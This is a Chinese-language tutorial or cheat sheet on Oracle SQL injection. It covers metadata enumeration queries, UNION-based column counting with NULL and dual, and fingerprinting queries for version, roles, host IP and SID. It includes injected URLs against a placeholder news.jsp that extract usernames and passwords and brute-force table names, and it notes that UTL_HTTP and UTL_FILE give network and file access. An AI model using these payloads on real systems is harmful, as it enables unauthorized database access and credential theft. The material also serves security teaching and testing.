一、获取元数据
1.user_tablespaces试图,查看表空间
select tablespace_name from user_tablespaces
2.user_tables试图,查看当前用户的所有表
select table_name from user_tables where rownum = 1
3.user_tab_columns试图,查看当前用户的所有列,例如:查询users表的所有列
select column_name from user_tab_columns where table_name='users'
4.all_users视图,查看oracle数据库的所有用户
select username from all_users
5.user_objects试图,查看当前用户的所有对象(表名称,约束,索引)
select object_name from user_objects
二、UNION查询
1.获取列的总数
Oracle规定,每次查询时后面必须跟表名称,因此有union select null,null,null from dual (dual是Oracle的虚拟表)
Oracle是强类型的数据库,不像MySQL那样可以直接union select 1,2,3,因此一般用null代替
2.获取敏感信息
当前用户权限:select * from session_roles
当前数据库版本:select banner from sys.v_$version where rownum=1
服务器出口IP:用utl_http.request可以实现
服务器监听IP:select utl_inaddr.get_host_address from dual
服务器操作系统:select member from v$logfile where rownum=1
服务器sid:select instance_name from v$instance
当前连接用户:select SYS_CONTEXT ('USERENV','CURRENT_USER') from dual
3.获取数据库表及其内容
在得知表的列数之后,可以通过查询元数据的方式查询表名称、列,然后查询数据,
http://www.example.com/news.jsp?id=1 union select username,password,null from users --
在查询数据时同样要注意数据类型,否则无法查询,这只能一一测试 (更换username的位置):
http://www.example.com/news.jsp?id=1 union select username,null,null from users --
在得知列数之后,可以通过暴力猜解的方式来枚举表名称:
http://www.example.com/news.jsp?id=1 union select null,null,null from tableName --
三、Oracle中包的概念
Oracle包可以分为两部分,一部分是包的规范,相当于Java中的接口,另一部分是包体,相当于Java里接口的实现类,实现了具体的操作。
在Oracle中,存在许许多多的包,如执行系统命令、备份、I/O操作等
例如,UTL_HTTP,该包提供了对HTTP的一些操作,比如 SELECT UTL_HTTP.REQUEST('http://www.baidu.com') FROM DUAL
执行这条SQL语句,将返回baidu.com的HTML源码。
再如,以Oracle读写文件为例,在Oracle中提供了包UTL_FILE专门用来操作I/O